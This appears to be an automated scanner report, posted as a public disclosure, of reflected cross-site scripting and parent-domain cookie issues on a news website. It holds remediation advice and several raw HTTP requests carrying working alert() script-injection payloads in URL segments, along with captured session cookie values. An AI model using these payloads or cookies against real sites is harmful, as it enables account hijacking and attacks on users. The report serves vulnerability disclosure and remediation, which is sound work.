XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, REST URL Parameter, DORK, GHDB, www.nytimes.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html [REST URL parameter 5] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 671aa"><script>alert(1)</script>f768625a28e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/01/11/arts/11iht-design11.html671aa"><script>alert(1)</script>f768625a28e HTTP/1.1
Host: www.nytimes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 01:56:41 GMT
Content-Type: text/html
Connection: keep-alive
Set-cookie: adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0M8VapG/xD3rbDXrmvxADeHAQxnG4hhBnSdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-control: no-cache
Pragma: no-cache
Content-Length: 66891

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
<link rel="canonical" href="http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa"><script>alert(1)</script>f768625a28e">
...[SNIP]...

1.2. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload cec8d(a)36e0d9d1b5d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3Ccec8d(a)36e0d9d1b5d/script%3Ef768625a28e HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 02:03:03 GMT
Content-Type: text/html
Connection: keep-alive
Cache-control: no-cache
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:02 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:02 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:02 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0Mowv9dcx92tPDXrmvxADeHJm.CiXW.O37deFz9JchiAJK89nlVaR7bsV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Pragma: no-cache
Content-Length: 62343

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
<cec8d(a)36e0d9d1b5d/script>
...[SNIP]...

1.3. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3715b"-alert(1)-"3b31c5fd48d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C3715b"-alert(1)-"3b31c5fd48d/script%3Ef768625a28e HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 02:03:01 GMT
Content-Type: text/html
Connection: keep-alive
Cache-control: no-cache
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:01 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:01 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:01 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0My.qIcLi.O3XDXrmvxADeHJkOgUVLzS2xdeFz9JchiAJK89nlVaR7bsV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Pragma: no-cache
Content-Length: 62440

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
<3715b"-alert(1)-"3b31c5fd48d/script>
...[SNIP]...

1.4. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload f7fb9<script>alert(1)</script>359469f94db was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28ef7fb9<script>alert(1)</script>359469f94db HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 02:03:36 GMT
Content-Type: text/html
Connection: keep-alive
Cache-control: no-cache
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:36 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:36 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:36 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0M5LriOscBr5jDXrmvxADeHzv/pPXeJgISdeFz9JchiAJK89nlVaR7bsV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Pragma: no-cache
Content-Length: 62523

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
</script>f768625a28ef7fb9<script>alert(1)</script>359469f94db">
...[SNIP]...

1.5. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c3e0e(a)d12049ba56 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/c3e0e(a)d12049ba56 HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 02:03:30 GMT
Content-Type: text/html
Connection: keep-alive
Cache-control: no-cache
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:30 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:30 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:30 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0MpzPKpj1785fDXrmvxADeHCvRQal8xGKjdeFz9JchiAJK89nlVaR7bsV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Pragma: no-cache
Content-Length: 62274

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
</c3e0e(a)d12049ba56">
...[SNIP]...

1.6. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 57cde"-alert(1)-"ae62018524e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/57cde"-alert(1)-"ae62018524e HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 02:03:30 GMT
Content-Type: text/html
Connection: keep-alive
Cache-control: no-cache
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:30 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:30 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492725833cbafdb32cf4b40165a|t*28366=4eab7a3f:1314756122; expires=Thursday, 30-Aug-2012 02:03:30 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7725833cbbba7f9857038cc7a; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0MpzPKpj1785fDXrmvxADeHCvRQal8xGKjdeFz9JchiAJK89nlVaR7bsV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Pragma: no-cache
Content-Length: 60304

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
</57cde"-alert(1)-"ae62018524e?pagewanted=all">
...[SNIP]...

2. Cookie scoped to parent domain previous next
There are 5 instances of this issue:

/2010/01/11/arts/11iht-design11.html
/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e
/adx/bin/adx_remote.html
/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM
/packages/html/recommendations/ad.html

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

2.1. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adxcs=s*2814a=0:1|s*2550b=0:1; path=/; domain=.nytimes.com
adxcs=s*2814a=0:1|s*2550b=0:1; path=/; domain=.nytimes.com
adxcs=s*2814a=0:2|s*2550b=0:2; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /2010/01/11/arts/11iht-design11.html HTTP/1.1
Host: www.nytimes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

2.2. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
adxcs=s*2364c=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
